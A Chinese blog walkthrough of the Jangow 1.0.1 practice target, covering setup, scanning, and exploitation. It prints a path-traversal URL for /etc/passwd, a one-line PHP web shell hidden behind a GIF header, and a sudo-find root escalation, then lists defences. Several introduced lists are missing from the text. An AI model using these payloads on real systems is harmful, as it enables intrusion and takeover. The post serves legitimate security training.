Jangow 1.0.1靶机渗透测试实战与漏洞分析-开发者社区

Jangow 1.0.1是Vulhub漏洞集成环境中一个经典的Web渗透测试靶机，模拟了真实世界中存在多种漏洞的网站系统。这个靶场特别适合练习从信息收集到权限提升的完整渗透流程，包含了目录遍历、文件上传、命令注入等常见漏洞类型。

我在本地搭建测试环境时发现，这个靶机对初学者非常友好，所有漏洞都设计得恰到好处——既不会过于简单而失去挑战性，也不会复杂到让人无从下手。整个渗透过程就像在解一个精心设计的谜题，每一步都能学到新东西。

首先需要确保已安装Docker和Docker Compose。我推荐使用Ubuntu 22.04 LTS作为宿主机系统，这是目前最稳定的选择：

# 更新系统包 sudo apt update && sudo apt upgrade -y # 安装必要依赖 sudo apt install -y docker.io docker-compose git

注意：如果之前安装过旧版Docker，务必先彻底卸载避免冲突。我在测试中发现残留的docker-ce包会导致端口绑定异常。

建议直接从GitHub克隆最新版仓库：

git clone https://github.com/vulhub/vulhub.git cd vulhub/jangow/1.0.1

这个靶机的目录结构非常清晰：

执行以下命令启动服务：

docker-compose up -d

启动完成后，通过docker ps检查容器状态，正常应该看到两个服务：

访问http://localhost:8080即可看到靶机首页。我在首次启动时遇到端口冲突，发现是宿主机已有服务占用了8080端口，通过修改docker-compose.yml中的端口映射解决：

ports: - "8088:80" # 将外部访问端口改为8088

使用经典的侦察工具组合：

# 目录扫描 dirb http://localhost:8088 /usr/share/wordlists/dirb/common.txt # Nikto漏洞扫描 nikto -h http://localhost:8088

扫描结果中几个关键发现：

我特别注意到/backup/目录的目录遍历漏洞，这是整个渗透测试的突破口。通过构造特殊URL可以查看服务器上的敏感文件：

http://localhost:8088/backup/../../../../etc/passwd

在/site/页面发现一个图片上传功能，经过测试发现没有正确验证文件类型。我使用Burp Suite拦截上传请求，修改文件头为图片格式但保留PHP代码：

GIF89a; <?php system($_GET['cmd']); ?>

上传后访问该文件并附加命令参数：

http://localhost:8088/uploads/shell.php?cmd=id

成功返回了uid=33(www-data)，证明获得了Web Shell。

通过Web Shell发现系统存在sudo配置漏洞：

sudo -l User www-data may run the following commands on jangow: (ALL) NOPASSWD: /usr/bin/find

利用find命令的特性进行提权：

sudo find /home -exec /bin/bash \;

这样就获得了root权限的shell。在实际测试中，我发现这个靶机还隐藏着其他提权路径，比如通过修改cron job或者利用内核漏洞，这为深入学习提供了更多可能性。

针对发现的漏洞，可以采取以下防护措施：

目录遍历防护：
- 在Apache配置中添加：
```
<Directory /var/www/html> Options -Indexes AllowOverride All </Directory>
```
- 在PHP代码中校验所有文件路径参数
文件上传安全：
- 白名单验证文件扩展名和MIME类型
- 使用随机文件名存储上传文件
- 设置上传目录不可执行
权限控制：
- 遵循最小权限原则配置sudo
- 定期审计系统权限配置